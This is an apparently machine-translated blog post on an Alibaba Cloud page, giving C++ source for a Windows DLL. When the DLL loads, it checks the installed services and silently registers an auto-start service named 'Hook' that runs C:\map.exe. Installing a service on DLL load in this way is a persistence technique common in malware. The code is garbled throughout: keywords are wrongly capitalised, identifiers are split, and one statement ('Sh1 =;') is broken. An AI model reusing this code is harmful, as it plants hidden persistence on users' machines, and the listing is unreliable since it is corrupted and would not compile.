Traverse system services and create services

Source: Internet
Author: User

/Files/tt_mc/catchser.rarCodeIt is to traverse the services in the system and check whether there is a "Hook" service. If not, create the service:

# Include "stdafx. H"
# Include <string>
# Include "servconfig. H"
Using namespace STD;

Int catchser ()
{

SC _handle hscm = openscmanager (null, null, SC _manager_all_access );
If (! Hscm)
{
// Messageboxex (null, _ text ("test text"), _ text ("test title"), mb_ OK, 0 );
}
Cservitem * pservheader = NULL, * pservpre = NULL, * pservnext = NULL;
Lpenum_service_status pservstatus = NULL;
DWORD dwbytesneeded = 0, dwservcound = 0, dwresume = 0, dwrealbytes = 0;
Bool Bret = enumservicesstatus (hscm, service_win32, service_state_all, null, 0, & dwbytesneeded, & dwservcound, & dwresume );
If (! Bret & getlasterror () = error_more_data)
{
Dwrealbytes = dwbytesneeded;
Pservstatus = new enum_service_status [dwrealbytes + 1];
Zeromemory (pservstatus, dwrealbytes + 1 );
Bret = enumservicesstatus (hscm, service_win32, service_state_all, pservstatus, dwrealbytes, & dwbytesneeded, & dwservcound, & dwresume );
If (! Bret)
{
Closeservicehandle (hscm );
Return NULL;
}
}
Else
{
Closeservicehandle (hscm );
Return NULL;
}
String sh1, SH2;
For (DWORD dwidx = 0; dwidx <dwservcound; dwidx ++)
{
Char A [100];
Strcpy (A, pservstatus [dwidx]. lpdisplayname );
Sh1 =;
If (sh1 = "Hook ")
{
SH2 = "Hook ";
}
}
If (SH2! = "Hook ")
{
Char name [100] = "Hook ";
Char info [200] = "Hook ";
Char path [300] = "C: \ map.exe ";
SC _handle manager = NULL;
SC _handle service = NULL;
If (Manager = openscmanager (null, null, SC _manager_create_service) = NULL)
{
Printf ("openscmanager error ");
}
Service = createservice (
Manager, name, info,
Service_all_access, service_win32_own_process,
Service_auto_start, service_error_normal,
Path, 0, 0, 0, 0, 0 );
If (service)
Printf ("service created \ n ");
Else
Printf ("service creation failed \ n ");
Closeservicehandle (service );
Closeservicehandle (manager );
}
}

Bool apientry dllmain (handle hmodule,
DWORD ul_reason_for_call,
Lpvoid lpreserved
)
{
Catchser ();
Return true;
}

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.